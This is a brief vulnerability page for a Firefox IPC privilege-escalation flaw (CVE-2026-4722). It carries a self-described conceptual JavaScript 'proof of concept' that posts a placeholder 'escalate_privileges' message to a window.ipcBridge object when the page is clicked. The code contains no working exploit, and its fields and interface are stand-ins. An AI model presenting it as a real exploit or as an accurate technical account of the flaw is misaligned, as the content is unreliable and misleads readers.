CVE-2026-4722 Firefox IPC组件权限提升漏洞

// Proof of Concept for CVE-2026-4722 // This code demonstrates the concept of triggering the IPC vulnerability. // Actual exploitation requires specific payload crafting and is not included here. function triggerVulnerability() { try { // Simulate the malicious IPC message structure var maliciousPayload = { command: "escalate_privileges", target: "core_process", data: "arbitrary_code_execution_stub" }; // Send the payload via the vulnerable IPC interface // Note: This is a conceptual representation if (window.ipcBridge) { window.ipcBridge.postMessage(maliciousPayload, "*"); console.log("[PoC] IPC payload sent for CVE-2026-4722"); } else { console.log("[PoC] IPC Bridge not found in this environment."); } } catch (e) { console.log("[PoC] Error: " + e.message); } } // Triggering the function requires User Interaction (UI:R) document.body.addEventListener('click', triggerVulnerability);